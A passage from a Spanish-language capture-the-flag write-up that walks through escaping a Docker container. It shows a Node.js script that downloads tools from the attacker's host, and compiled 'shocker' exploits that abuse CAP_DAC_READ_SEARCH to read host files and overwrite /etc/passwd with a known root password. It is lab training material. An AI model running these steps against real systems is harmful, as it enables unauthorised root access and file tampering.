drwxr-xr-x 1 root root 4096 Jul 21 2021 var
Explotación de capabilities
El problema aquí es que no tenemos comandos útiles para transferir archivos entre el contenedor y nuestra máquina:
root@c150397ccd63:~# which nc
root@c150397ccd63:~# which curl
root@c150397ccd63:~# which wget
Aun así, podríamos usar bash
, pero me siento más cómodo con Node.js:
root@c150397ccd63:~# which node
/usr/local/bin/node
Usaré el siguiente script para descargar archivos dentro del contenedor usando una petición HTTP:
#!/usr/bin/env node
const http = require('http')
const path = process.argv[2]
const req = http.get('http://10.10.17.44:8000' + path, res => {
let chunks = []
res.on('data', chunk => chunks.push(chunk))
res.on('end', () => console.log(Buffer.concat(chunks).toString()))
});
req.on('error', e => console.log('ERROR: ' + e.message))
Ahora podemos subir scripts de enumeración como linpeas.sh
:
root@c150397ccd63:~# cat > get.js
#!/usr/bin/env node
const http = require('http')
const path = process.argv[2]
const req = http.get('http://10.10.17.44:8000' + path, res => {
let chunks = []
res.on('data', chunk => chunks.push(chunk))
res.on('end', () => console.log(Buffer.concat(chunks).toString()))
});
req.on('error', e => console.log('ERROR: ' + e.message))
^C
root@c150397ccd63:~# node get.js /linpeas.sh > linpeas.sh
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.155 - - [] "GET /linpeas.sh HTTP/1.1" 200 -
Al ejecutar el script, vemos que hay algunas capabilities habilitadas en el contenedor:
root@c150397ccd63:~# bash linpeas.sh
...
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
Current capabilities:
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
Shell capabilities:
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
...
Podemos decodificarlas con capsh
:
$ capsh --decode=00000000a80425fd
0x00000000a80425fd=cap_chown,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Hay uno que es útil para escalar privilegios: CAP_DAC_READ_SEARCH
(más información en HackTricks). Podremos leer archivos arbitrarios de la máquina host al explotar esta capability.
Tendremos que compilar un exploit llamado shocker.c
. Modificaré el código un poco para que acepte argumentos de línea de comandos para nombre el archivo a leer, en lugar de tener un nombre de archivo hard-coded como /etc/shadow
. Además, el exploit necesita un archivo montado en el contenedor desde la máquina host. El exploit usa /.dockerinit
, que no está montado. En su lugar, podemos usar /etc/hostname
:
root@c150397ccd63:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SJ7L7M7IXKP2LYEKIS4QTXWMB2:/var/lib/docker/overlay2/l/V56NO5353KGHEUPU2G64UYICZS:/var/lib/docker/overlay2/l/57PYNL7JWAUZ2ZEF5CM7JKTH2Y:/var/lib/docker/overlay2/l/K4DCIUMHCNYT3RFVQSR7KCCWLJ:/var/lib/docker/overlay2/l/LLNI6XKILGAYVK3VSFPKZQC4NI,upperdir=/var/lib/docker/overlay2/5de14f4c9bdeaf0f8a19d03adcc2d28ccc97655bb5bc5f888490c184d2ad70dc/diff,workdir=/var/lib/docker/overlay2/5de14f4c9bdeaf0f8a19d03adcc2d28ccc97655bb5bc5f888490c184d2ad70dc/work,xino=off)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/mapper/ubuntu--vg-ubuntu--lv on /app/uploads type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/scsi type tmpfs (ro,relatime)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
root@c150397ccd63:~# mount | grep /etc/hostname
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
Realizaré estos cambios con sed
:
$ wget -q http://stealth.openwall.net/xSports/shocker.c
$ sed -i 's/.dockerinit/etc\/hostname/g' shocker.c
$ sed -i 's/main()/main(int argc, char** argv)/g' shocker.c
$ sed -i 's/"\/etc\/shadow"/argv[1]/g' shocker.c
Ahora, compilo el código y codifico el archivo binario en Base64 para transferirlo correctamente:
$ gcc shocker.c
$ base64 a.out > a.out.b64
$ md5sum a.out
75c3f2fb9399c35a1bab2a221a6bd0ed a.out
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.155 - - [] "GET /a.out.b64 HTTP/1.1" 200 -
Y ahora lo tenemos en el contenedor:
root@c150397ccd63:~# node get.js /a.out.b64 | base64 -d > shocker
root@c150397ccd63:~# md5sum shocker
75c3f2fb9399c35a1bab2a221a6bd0ed shocker
Podemos usar este exploit para obtener la flag root.txt
:
root@c150397ccd63:~# ./shocker /root/root.txt
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'root/root.txt'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
...
[*] Found root
[+] Match: root ino=18
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'root.txt'
[*] Found ..
[*] Found .backup
...
[*] Found .bashrc
[*] Found root.txt
[+] Match: root.txt ino=110097
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
b020908bd16e6dc4937e2b5a689c3b70
Si quisiéramos obtener una shell como root
, tendríamos que encontrar una manera de escribir en un archivo (ya que no hay una clave SSH privada). Para esto, podemos explotar otra capability llamada CAP_DAC_OVERRIDE
, que no está habilitad en el contenedor, pero el exploit funciona. Este exploit se puede encontrar en HackTricks (este ya tiene argumentos de línea de comando correctamente configurados).
Ahora, lo compilamos y lo transferimos al contenedor:
$ gcc shocker2.c
shocker2.c: In function ‘find_handle’:
shocker2.c:56:13: warning: implicit declaration of function ‘open_by_handle_at’ [-Wimplicit-function-declaration]
56 | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
| ^~~~~~~~~~~~~~~~~
$ base64 a.out > a.out.b64
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.155 - - [] "GET /a.out.b64 HTTP/1.1" 200 -
root@c150397ccd63:~# node get.js /a.out.b64 | base64 -d > shocker2
root@c150397ccd63:~# chmod +x shocker2
Para escalar privilegios, modificaremos el archivo /etc/passwd
y le pondremos una nueva contraseña a root
(formatp DES Unix):
$ openssl passwd asdf
ftb88guy6zk6E
Primero, leeremos el archivo de la máquina (desde la sesión de SSH):
saul@talkative:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash
Ahora creamos otro archivo cambiando la x
por la contraseña cifrada en la primera línea:
root@c150397ccd63:~# cat > passwd
root:ftb88guy6zk6E:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash
^C
Luego, ejecutamos el exploit:
root@c150397ccd63:~# ./shocker2 /etc/passwd passwd
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'etc/passwd'
[*] Found lib32
[*] Found ..
[*] Found lost+found
...
[*] Found etc
[+] Match: etc ino=393217
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'passwd'
[*] Found modules-load.d
[*] Found lsb-release
[*] Found rsyslog.conf
...
[*] Found environment
[*] Found passwd
[+] Match: passwd ino=394935
[*] Brute forcing remaining 32bit. This can take a while...
[*] (passwd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xb7, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xb7, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!
Como resultado, el archivo /etc/passswd
ha cambiado (desde la sesión de SSH):
saul@talkative:/tmp$ head -1 /etc/passwd
root:ftb88guy6zk6E:0:0:root:/root:/bin/bash
Ahora simplemente podemos cambiarnos al usuario root
(contraseña: asdf
):
saul@talkative:/tmp$ su root
Password:
root@talkative:/tmp# cat /root/root.txt
b020908bd16e6dc4937e2b5a689c3b70